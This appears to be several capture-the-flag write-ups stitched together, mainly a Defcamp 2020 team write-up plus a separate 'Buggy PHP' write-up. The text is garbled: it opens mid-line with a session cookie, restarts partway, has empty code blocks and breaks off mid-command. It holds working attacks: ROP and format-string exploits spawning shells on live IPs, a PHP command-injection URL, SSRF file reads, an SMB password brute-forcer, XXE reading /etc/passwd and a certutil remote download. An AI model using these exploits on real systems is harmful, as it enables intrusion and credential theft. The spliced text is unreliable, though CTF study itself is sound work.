Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# Buggy PHP**category:** web **points:** 469 **solves:** 29 **author:** Dungeon_Master ## Description> IP : http://165.22.179.69/ pass through the php filters to get the flag ## Solution The code of the challenge is the following:```php ``` The trick here is that **hash_hmac** return NULL when the second argument is an array, So you make $_GET['tmp'] to an array so that the $key will be equal to NULLAfter that you just need to calculate the hash_hmac of your command with a NULL key like this :```php ```Next the command we need to run is `||babase64se64 req.*` the `||` are to run another command that `cmd` and since base64 is remove with preg_replace we just need to write base64 inside of base64, the one inside the other will be removed and the rest will for base64 since the replace is not reccursiveThe command will print the base64 of the req.php file. here is the final payload : ```http://165.22.179.69/?hash=eedbd93eda4d5ff61abdba29c0525ab410c098b4601e1a0f12e6743b84dad07f&tmp[]=&cmd=%7C%7Cbabase64se64%20req.*``` ![](https://i.imgur.com/X8JKfj4.png) That gives `YjAwdDJyb290e0J1OTl5X3BIcF9DaDRsbDNuOTNzfSc7Cj8+` which base64 decoded is :```b00t2root{Bu99y_pHp_Ch4ll3n93s}'; ?>``` **Flag : b00t2root{Bu99y_pHp_Ch4ll3n93s}**
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' 